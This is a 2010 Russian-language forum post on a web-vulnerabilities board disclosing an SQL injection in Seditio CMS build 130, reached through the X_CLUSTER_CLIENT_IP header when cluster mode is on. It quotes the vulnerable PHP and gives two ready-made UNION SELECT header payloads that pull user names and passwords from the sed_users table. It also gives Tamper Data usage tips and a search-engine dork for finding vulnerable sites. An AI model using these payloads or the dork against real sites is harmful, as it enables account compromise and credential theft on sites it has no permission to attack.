Seditio build 130

Discussion in 'Веб-уязвимости' started by Strilo4ka, 23 May 2010.

  1. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Seditio build 130 [скачать]
    Cluster of servers : Yes No (Set to yes if it's a load balanced setup.) http://[host]/[path]/admin.php?m=config&n=edit&o=core&p=main
    если cтоит Yes мы имеем SQL inj

    index.php
    PHP:
    define('SED_CODE'TRUE);
    define('SED_INDEX'TRUE);
    $location 'Home';
    $z 'index';

    require(
    'system/functions.php');
    @include(
    'datas/config.php');

    if (empty(
    $cfg['mysqlhost']) && empty($cfg['mysqldb']))
        {
        
    header("Location: install.php");
        exit;
        }

    require(
    'system/common.php');
    require(
    'system/core/index/index.inc.php');
    /system/common.php
    PHP:
    /*...*/
    $usr['ip'] = ($cfg['clustermode']) ? $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'] : $_SERVER['REMOTE_ADDR'] ;
    /*...*/

    $userip explode('.'$usr['ip']);
    $ipmasks "('".$userip[0].".".$userip[1].".".$userip[2].".".$userip[3]."','".$userip[0].".".$userip[1].".".$userip[2].".*','".$userip[0].".".$userip[1].".*.*','".$userip[0].".*.*.*')";

    $sql sed_sql_query("SELECT banlist_id, banlist_ip, banlist_reason, banlist_expire FROM $db_banlist WHERE banlist_ip IN ".$ipmasks'Common/banlist/check');

    If (
    sed_sql_numrows($sql)>0)
        {
        
    $row=sed_sql_fetcharray($sql);
        if (
    $sys['now']>$row['banlist_expire'] && $row['banlist_expire']>0)
            {
            
    $sql sed_sql_query("DELETE FROM $db_banlist WHERE banlist_id='".$row['banlist_id']."' LIMIT 1");
            }
        else
            {
            
    $disp "Your IP is banned.<br />Reason: ".$row['banlist_reason']."<br />Until: ";
            
    $disp .= ($row['banlist_expire']>0) ? @date($cfg['dateformat'], $row['banlist_expire'])." GMT" "Never expire.";
            
    sed_diefatal($disp);
            }
        }
    /*...*/
    Надо чтоб $row['banlist_expire'] было > $sys['now']
    У меня $sys['now'] было 10 цыфр, наростает все время, вывел в скрите...

    Експлоит:
    в заголовке -
    X_CLUSTER_CLIENT_IP=192') and 0 union select 1,2,concat_ws('~',user_name,user_password ),10000000000 from sed_users limit 0,1/*.168.0.1
    если префикс таблицы sed_users. При установке по умолчанию такой. Но можно изменить.
    Если берем тампер дата и воше, незабываем что в скрипте HTTP_X_CLUSTER_CLIENT_IP, а если добавлять то бес HTTP .

    Дорк:intext:powered by Seditio

    ps
    лучше такая експлуатация чтоб не париться:
    X_CLUSTER_CLIENT_IP=192') and 0 union select 1,2,concat_ws('~',user_name,user_password ),-1 from sed_users limit 0,1/*.168.0.1
     
    #1 Strilo4ka, 23 May 2010
    Last edited: 23 May 2010
    5 people like this.